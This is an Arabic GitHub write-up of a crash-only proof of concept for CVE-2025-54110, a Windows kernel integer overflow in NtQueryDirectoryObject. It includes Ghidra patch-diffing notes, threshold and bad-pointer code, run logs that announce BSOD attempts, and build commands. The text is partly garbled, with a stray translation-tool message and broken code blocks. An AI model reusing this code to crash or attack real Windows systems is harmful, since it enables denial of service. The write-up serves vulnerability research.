
تاريخ المشروع: أكتوبر 2025 / تنفيذ PoC لـ CVE-2025-54110، وهو ثغرة تجاوز عدد صحيح على مستوى النواة في استدعاء النظام `NtQueryDirectoryObject` في Windows.
تنفيذ PoC لثغرة CVE-2025-54110 وهي ثغرة تجاوز عدد صحيح على مستوى النواة في استدعاء النظام NtQueryDirectoryObject في Windows.
CVE: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110
يحتوي هذا المستودع على PoC للتعطل فقط لثغرة CVE-2025-54110 المتعلقة بتصعيد الامتيازات على مستوى النواة، تم تطويره حصرياً لأغراض البحث الأمني والهندسة العكسية والبحث في تطوير الاستغلالات. يهدف هذا الكود إلى توضيح تقنيات البحث في الثغرات بما في ذلك:
لا يحقق هذا الـ PoC تصعيد الامتيازات أو شاشة الموت الزرقاء (BSOD) الموثوقة. وهو مصمم لتشغيل انتهاكات الوصول بشكل آمن يتم احتواؤها بواسطة حمايات نواة Windows.
تاريخ النشر: سبتمبر 2025 (تصحيح الثلاثاء الأمني لنظام Windows)
| الخاصية | القيمة |
|---|---|
| CWE | CWE-190: تجاوز عدد صحيح أو التفاف |
| درجة CVSS 3.1 | 8.8 (عالية) / 7.7 (زمنية) |
| سلسلة المتجه | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C |
| متجه الهجوم | محلي |
| تعقيد الهجوم | منخفض |
| الامتيازات المطلوبة | منخفضة |
| تفاعل المستخدم | لا شيء |
| النطاق | متغير |
| السرية | عالية |
| السلامة | عالية |
| التوافر | عالية |
| نضج الاستغلال | غير مثبت |
تسمح ثغرة تجاوز عدد صحيح في نواة Windows لمهاجم مصادق برفع الامتيازات محلياً بشكل محتمل. وفقاً لنشرة Microsoft:
"يمكن للمهاجم استغلال هذه الثغرة بإرسال مدخلات مصممة خصيصاً من عملية وضع مستخدم معزولة (sandbox) لتحفيز تجاوز عدد صحيح، مما يؤدي إلى تجاوز سعة المخزن المؤقت في النواة وتمكين تصعيد الامتيازات أو الهروب من العزلة (sandbox escape)."
Windows Update Files from Aug 2025 & Sep 2025 (KB.msu) ↓ Extract CAB Files ↓ Calculate SHA-256 Hashes (August vs September) ↓ Identify Changed Files ↓ Ghidra Version Tracking Analysis ↓ Setting Symbol Servers to Clarify Function Names ↓ Function-Level Diff Comparison
### 2. الملفات التي تم تحليلها
ركز التحليل الأولي على مكونين أساسيين من مكونات النواة:
#### win32k.sys (-)
- **النتيجة:** لم يتم اكتشاف تغييرات كبيرة
- **نطاق الدرجة:** 0.97-1.0 (تشابه مرتفع)
- **الخلاصة:** ليس المكوّن المعرّض للثغرة CVE-2025-54110
#### ntoskrnl.exe (+)
- **النتيجة:** توجد دوال متعددة بتغييرات كبيرة
- **نطاق الدرجة:** دوال بدرجات ≤0.951
- **الاختلافات في الطول:** تم اكتشاف اختلافات في طول البايت بين المصدر والوجهة
- **إجمالي العناصر المُصدَّرة:** 2,036 دالة للتحليل
### 3. نتائج تتبع الإصدارات في Ghidra
عينة من التغييرات المحددة في `ntoskrnl.exe`:
| الدرجة | الثقة | طول المصدر | طول الوجهة | دالة المصدر | دالة الوجهة |
|-------|------------|---------------|-------------|-----------------|---------------|
| 0.951 | 2.618 | 1023 | 365 | FUN_1403146d0 | FUN_1403a4ea0 |
| 0.950 | 2.285 | 113 | 203 | FUN_140680810 | FUN_1406d952c |
| 0.950 | 3.137 | 782 | 1050 | FUN_14032106c | FUN_140303a38 |
| 0.951 | 2.675 | 141 | 171 | FUN_140407bd0 | FUN_140a172a0 |
| 0.951 | 2.660 | 346 | 150 | FUN_140610e60 | FUN_1406115d4 |
---
## بيان PoC
### المنهج التقني
يحاول PoC (`precise_overflow_bsod.c`) استغلال ثغرة تجاوز السعة الصحيحة من خلال:
1. **حساب العتبة الدقيق:** `0xfffffdbc` (مشتقة من base=0x20, name=0x200)
2. **API الخاصة بـ NtQueryDirectoryObject:** الدالة المستهدفة لتحفيز التجاوز
3. **استراتيجية هجوم متعددة المراحل:**
- المرحلة 1: محاولات دقيقة لتجاوز السعة الصحيحة
- المرحلة 2: استهداف ذاكرة النواة
- المرحلة 3: استغلال متعدد الخيوط
### بنية الكود```c
// Key threshold values calculated for overflow
ULONG precise_thresholds[] = {
0xfffffdbc, // Precise threshold - base=0x20, name=0x200
0xfffffdbb, // Threshold - 1
0xfffffdbd, // Threshold + 1
0xfffffdba, // Threshold - 2
0xfffffdbe, // Threshold + 2
};
// Buffer configurations to test edge cases
PVOID buffer_types[] = {
VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE), // Normal buffer
VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE), // Small buffer
NULL, // NULL pointer
(PVOID)0x4141414141414141, // Invalid pointer
(PVOID)0x0000000000000000, // Zero address
};
NtQueryDirectoryObject() Parameters: ├── DirectoryHandle: \BaseNamedObjects, \KernelObjects, etc. ├── Buffer: Various pointer configurations ├── BufferLength: Calculated overflow thresholds (0xfffffdbc variants) ├── ReturnSingleEntry: TRUE/FALSE variations ├── RestartScan: TRUE/FALSE variations └── Context: Controlled iteration state
---
## لماذا لا يتسبب الـ PoC في تعطل النظام
### النتائج الفعلية
يعيد الـ PoC باستمرار `STATUS_ACCESS_VIOLATION (0xC0000005)` دون التسبب في شاشة الموت الزرقاء (BSOD). وهذا **مقصود** ويوضح العديد من آليات أمان نواة Windows الحرجة:
### 1. معالجة الاستثناءات المنظمة (SEH)```
User-Mode Input → NtQueryDirectoryObject
↓
ProbeForRead/Write
↓
__try { ... }
↓
Access Violation Detected
↓
__except { ... }
↓
Return STATUS_ACCESS_VIOLATION
لماذا يعمل هذا:
ميزة حديثة في وحدة المعالجة المركزية تمنع وضع النواة (Ring 0) من الوصول إلى ذاكرة وضع المستخدم (Ring 3) دون تصريح صريح``` Kernel attempts to access user pointer ↓ SMAP checks permission (STAC/CLAC instructions) ↓ Unauthorized access detected ↓ CPU generates #PF (Page Fault) ↓ Caught by kernel exception handler
**التأثير على PoC:**
- حتى في حالة حدوث تجاوز (overflow)، يتم حظر الوصول المباشر من النواة إلى ذاكرة المستخدم
- يمنع استغلال ثغرات إلغاء الإشارة إلى المؤشرات (pointer dereference)
### 3. KASLR (التوزيع العشوائي لتخطيط مساحة عناوين النواة)```
Boot Time: Kernel Base = Random Address
↓
Hardcoded PoC address (0xfffffdbc)
↓
Does NOT match actual kernel structures
↓
Write to non-critical memory OR caught by SEH
لماذا لا يحدث BSOD:
يوفر Windows 10+ كشفًا محسّنًا لتلف التجمع:``` Heap/Pool Allocation ↓ Header Contains: ├── Magic Values ├── Size Information └── Checksums ↓ On Free/Access: Validate Integrity ↓ Corruption Detected? ↓ [YES] → Safe Exception → Return Error [NO] → Proceed Normally
---
## تحليل مخرجات تنفيذ PoC
### المخرجات المتوقعة
شاهد `STATUS_ACCESS_VIOLATION (0xC0000005)`، إذن كل شيء على ما يرام.```
C:\Users\reLab\Desktop\cve>.\poc64.exe
==================================================
CVE-2025-54110 - Kernel Integer Overflow PoC
==================================================
[!] WARNING: This code may crash the system (BSOD).
[?] Do you want to continue? (y/n): y
[>] Targeting directory: \BaseNamedObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \KernelObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \Sessions
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \Windows
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[-] Exploit finished. If the system is still running, the attack may have been mitigated.
C:\Users\reLab\Desktop\cve>

[+] Current user: desktop-lfkkhu2\relab [+] Current PID: 1444
[!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [+] NT functions initialized successfully [+] Using precise threshold: 0xfffffdbc
[+] Exploiting all directories with precise threshold...
[+] Precision exploiting: \BaseNamedObjects [] Phase 1: Precision overflow [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [] Phase 2: Kernel memory targeting [+] Targeting kernel memory with precise threshold... [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [*] Phase 3: Multi-threaded BSOD [+] Triggering precision BSOD with calculated threshold... [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision overflow successful! [+] Starting multi-threaded precision attack...
### السلوك الملاحظ```
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBB, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBD, status=0xC0000005
رمز الحالة: 0xC0000005 = STATUS_ACCESS_VIOLATION
| الجانب | التفسير |
|---|---|
| تأكيد الثغرة | (+) مسار الكود يصل إلى دالة هشّة |
| التحقق من المدخلات | (!) مدخلات مصمّمة تثير سلوكًا غير طبيعي |
| استقرار النظام | (+) SEH يمنع الانهيار؛ يبقى النظام مستقرًا |
| تحقيق رفض الخدمة | (-) لا BSOD؛ معالجة الاستثناءات نجحت |
| تحقيق رفع الامتيازات | (-) لا تصعيد امتيازات؛ فشل محكوم |
┌─────────────────────────────────────────────────────────┐ │ Objective │ Status │ Explanation │ ├─────────────────────────────────────────────────────────┤ │ Vulnerability Research │ + │ Behavior change │ │ │ │ confirmed │ ├─────────────────────────────────────────────────────────┤ │ Learning Experience │ + │ Kernel protections │ │ │ │ demonstrated │ ├─────────────────────────────────────────────────────────┤ │ Crash (DoS/BSOD) │ - │ SEH prevented crash │ ├─────────────────────────────────────────────────────────┤ │ Privilege Escalation │ - │ No code execution │ │ │ │ achieved │ └─────────────────────────────────────────────────────────┘
---
## القيمة التعليمية
### ما يوضحه هذا الـ PoC
#### النتائج
1. **منهجية مقارنة التصحيحات (Patch Diffing)**
- مقارنة الثنائيات قبل/بعد التصحيح باستخدام Ghidra
- تحديد الدوال المعدّلة عبر تتبع الإصدارات
- تحليل مقاييس التشابه المعتمدة على الدرجات
2. **بنية نواة ويندوز**
- فهم تدفق استدعاءات النظام (`NtQueryDirectoryObject`)
- التعرف على حدود وضع النواة/وضع المستخدم
- تعلم الدوال الداخلية لـ NTAPI
3. **سلوك آليات الحماية**
- SEH عمليًا: التقاط الاستثناء مقابل انهيار النظام
- SMAP يمنع الوصول غير المصرح به للذاكرة
- KASLR يبطل استغلال العناوين الثابتة
4. **عملية البحث في الثغرات**
- تحليل CVE وجمع المعلومات
- الهندسة العكسية لتغييرات الثنائيات
- اختبار الفرضيات عبر محاولات استغلال مضبوطة
#### القيود
1. **حمايات النواة الحديثة فعّالة**
- محاولات التجاوز البسيطة غير كافية
- يجب تجاوز طبقات دفاع متعددة
- التحليل الثابت وحده لا يمكنه التنبؤ بقابلية الاستغلال
2. **الفجوة بين النظرية والتطبيق**
- تجاوز العدد الصحيح موجود (نظريًا)
- يتطلب الاستغلال العملي:
- كشف المعلومات (تسريب عناوين النواة)
- تشكيل الكومة/فنغ شوي (Heap shaping/Feng Shui)
- سلاسل ROP أو بدائيات أخرى لتنفيذ التعليمات البرمجية
- تجاوز DEP و CFG و HVCI وغيرها
---
## الدوال ذات الأولوية للتحليل
استنادًا إلى خصائص CVE-2025-54110 (تجاوز العدد الصحيح ← تجاوز المخزن المؤقت في النواة)، أعطِ الأولوية لمراجعة الدوال في ملف CSV المُصدَّر التي تتعامل مع:
### الفئات عالية الأولوية```yaml
Integer/Size Calculations:
- Functions with arithmetic operations on buffer sizes
- Length calculation before allocation
- Checked vs. unchecked math operations
Buffer/Memory Operations:
- memcpy, memmove, RtlCopyMemory variants
- ExAllocatePool* family
- Buffer size validation routines
Object Directory Handling:
- NtQueryDirectoryObject and related helpers
- ObpLookupDirectoryEntry
- Object enumeration functions
User-Mode Interface:
- ProbeForRead/Write wrappers
- Input validation functions
- IOCTL handlers
الخطوة 1: التصفية المستندة إلى الدرجات``` Score ≤ 0.951 AND (SourceLen ≠ DestLen)
**الخطوة 2: البحث بالكلمات المفتاحية**```
Function names containing:
- "Directory", "Object", "Query"
- "Buffer", "Length", "Size"
- "Allocate", "Copy", "Validate"
- "Integer", "Overflow", "Wrap"
الخطوة 3: تحليل المراجع المتقاطعة``` Functions called by NtQueryDirectoryObject: ObQueryNameString ObpEnumerateDirectory [Related helper functions]
**الخطوة 4: تغيير المقدار**```
Prioritize functions with:
- Length difference > 100 bytes
- Confidence score 2.0-3.5 (moderate changes)
### التجميع```bash
# on x64 Native Tools CLI for VS 20xx
# Using Visual Studio
cl.exe /Fe:poc64.exe precise_overflow_bsod.c ntdll.lib
# or
cl poc.c /link /SUBSYSTEM:CONSOLE
I have no content to translate because the input section is empty. Please provide the Markdown chunk you want translated.```bash
gcc precise_overflow_bsod.c -o poc64.exe -lntdll
### التنفيذ```powershell
# Run with admin privileges
.\poc64.exe
المخرجات المتوقعة:``` [+] Current user: DESKTOP-XXXXXXX\user [+] Current PID: 1234 [!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [+] System is still running - protections may be active.
---
## الموارد والمراجع
### المصادر الرسمية
- [نشرة أمنية من مايكروسوفت - CVE-2025-54110](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110)
- [CWE-190: تجاوز سعة الأعداد الصحيحة أو الالتفاف](https://cwe.mitre.org/data/definitions/190.html)
- [داخلية نواة ويندوز - وثائق مايكروسوفت](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/)
### أدوات البحث
- [Ghidra - حزمة الهندسة العكسية للبرمجيات من NSA](https://ghidra-sre.org/)
- [WinDbg - أدوات تصحيح أخطاء ويندوز](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/)
### قراءات ذات صلة
- [تطوير استغلال النواة](https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/)
- [استغلال نواة ويندوز](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
- [مقارنة التصحيحات باستخدام Ghidra](https://www.youtube.com/watch?v=K83T7iVla5s)
---
## إخلاء مسؤولية قانوني
هذا الكود مُقدَّم لأغراض تعليمية فقط.
لا تستخدم هذا الكود من أجل:
• الوصول غير المصرح به إلى أنظمة الحاسوب
• الهجمات الخبيثة أو التسبب في الضرر
• أي أنشطة غير قانونية
لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
يجب على المستخدمين الامتثال لجميع القوانين المعمول بها.
**باستخدامك لهذا الكود، فإنك تقرّ بما يلي:**
1. لديك إذن للاختبار على الأنظمة المستهدفة
2. أنك تفهم الآثار القانونية في نطاق اختصاصك القضائي
3. أنك تتحمل المسؤولية الكاملة عن أفعالك
4. أن هذا للتعلم وليس للنشاط الخبيث
---
## إخلاء مسؤولية قانوني
هذا المستودع مُقدَّم بشكل صارم للأغراض التعليمية، وأبحاث الأمن الدفاعية، وإعادة إنتاج الثغرات في بيئات المختبرات الخاضعة للتحكم.
المعلومات وكود إثبات المفهوم مخصصان لمساعدة المدافعين والباحثين والمورّدين على فهم الثغرة المبلغ عنها ومعالجتها.
قد ينتهك الاستخدام غير المصرح به أو الخبيث لهذا الكود ضد أنظمة دون إذن صريح القوانين واللوائح المعمول بها.
لا يشجع المؤلف النشاط غير القانوني ولا يتغاضى عنه، ولا يتحمل أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذه المادة.
يُقدَّم تقرير الإفصاح عن الثغرة من أجل:
1. البحث الأمني والتعليم
2. إشعار المورّد وتطوير التصحيحات
3. حماية المستخدمين النهائيين
4. الأغراض الأكاديمية والأمنية الدفاعية
**الاستخدامات المحظورة:**
- الوصول غير المصرح به إلى أنظمة الحاسوب
- الاستغلال الخبيث
- أي نشاط غير قانوني
أجرى الباحث جميع الاختبارات على أنظمة يملكها شخصيًا في بيئات خاضعة للتحكم. لم يتم تنفيذ أي وصول غير مصرح به إلى أنظمة أطراف ثالثة.
**إصدار التقرير:** 1.0
**آخر تحديث:** 9 فبراير 2026
---
## الاتصال
للاستفسارات المشروعة المتعلقة بأبحاث الأمن أو التعاون التعليمي:
**الإفصاح المسؤول:**
- مشكلات أمنية مع هذا الإثبات المفاهيمي (PoC) ← افتح قضية على GitHub
- استغلال حقيقي لـ CVE-2025-54110 ← أبلغ إلى [MSRC](https://msrc.microsoft.com/)
---
## الترخيص```
MIT License - See LICENSE file for details
Educational software provided "as is" without warranty.
Use at your own risk.